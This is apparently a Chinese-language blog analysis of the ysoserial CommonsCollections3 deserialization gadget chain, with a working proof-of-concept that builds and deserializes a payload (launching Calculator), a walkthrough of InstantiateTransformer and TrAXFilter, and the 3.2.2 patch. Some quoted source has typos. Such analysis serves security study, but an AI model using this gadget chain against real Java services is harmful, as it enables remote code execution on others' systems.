简介

适用版本:3.1-3.2.1,jdk7u21及以前
CommonsCollections3反序列化漏洞点是InstantiateTransformer的transform方法,并且在ChainedTransformer的transform方法中有所调用。

主要代码

我们给出主要代码,关键函数和之前的 一样

public static void main(String[] args) throws Exception {
    String command = "open /Applications/Calculator.app/";
    Object templatesImpl = createTemplatesImpl(command);
    final Transformer transformerChain = new ChainedTransformer(
            new Transformer[]{ new ConstantTransformer(1) });
    final Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(
                    new Class[] { Templates.class },
                    new Object[] { templatesImpl } )};
    final Map innerMap = new HashMap();
    final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
    Map mapProxy = (Map) createMyproxy(getInvocationHandler(ANN_INV_HANDLER_CLASS, lazyMap), Map.class);
    InvocationHandler handler = getInvocationHandler(ANN_INV_HANDLER_CLASS, mapProxy);
    //这样的话,调用transformerChain的tranform方法就相当于调用TrAXFilter(templatesImpl)
    setFieldValue(transformerChain, "iTransformers", transformers);
    FileOutputStream fos = new FileOutputStream("payload.ser");
    ObjectOutputStream oos = new ObjectOutputStream(fos);
    oos.writeObject(handler);
    oos.flush();
    oos.close();
    FileInputStream fis = new FileInputStream("payload.ser");
    ObjectInputStream ois = new ObjectInputStream(fis);
    Object newObj = ois.readObject();
    ois.close();
}

利用链

cc31.png
cc32.png

分析

基本和CommonsCollections1差不多,唯一的区别就在于循环调用的transformers这一块。

final Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(
                    new Class[] { Templates.class },
                    new Object[] { templatesImpl } )};

ConstantTransformer调用ConstantTransformer.transform返回一个TrAXFilter对象给到InstantiateTransformer的tranform方法,最终调用TrAXFilter的构造函数,并把恶意的templatesImpl作为参数给到构造函数。

InstantiateTransformer类的transform方法

public Object transform(Object input) {
        try {
            if (!(input instanceof Class)) {
              throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName()));
            } else {
                Constructor con = ((Class)input).getConstructor(this.iParamTypes);
                return con.newInstance(this.iArgs);
            }
        }catch(NoSuchNethodExceptien var3){...}
        ...
}

Input是我们传入的trAXFilter对象,这里((class)input).getConstructor会通过反射创建一个TrAXFilter构造器对象,之后会执行con.newInstance方法,相当于执行TrAXFilter的构造方法。

TrAXFilter类

public class TrAXFilter extends XMLFilterImpl{
private Templates _templates:
private TransformerImpl _transformer;
private TrensformerHandlerImpl _transfomerHandler;
private boolean _useServicesMechanisn = true;
//构造函数
public TrAXFilter(Templates templates) throws TransformerConfigurationException
{
    _templates = templates;
    _transformer = (TransformerImpL)templates.newTransformer();//这里
    _transformerHandler = new TransformerHandlerImpl(_transformer);
    _useServicesMechanism= _transformer.useServicesMechnism();
}

TrAXFilter的构造函数会去调用传入的恶意templatesImpl的newTransformer方法造成RCE。

补丁

3.2.2补丁,和CommonsCollections1一样,把InstantiateTransformer类给拉黑了。

参考文章

雷神众测ysoserial分析之CommonsCollections3

Last modification:April 21st, 2020 at 09:29 pm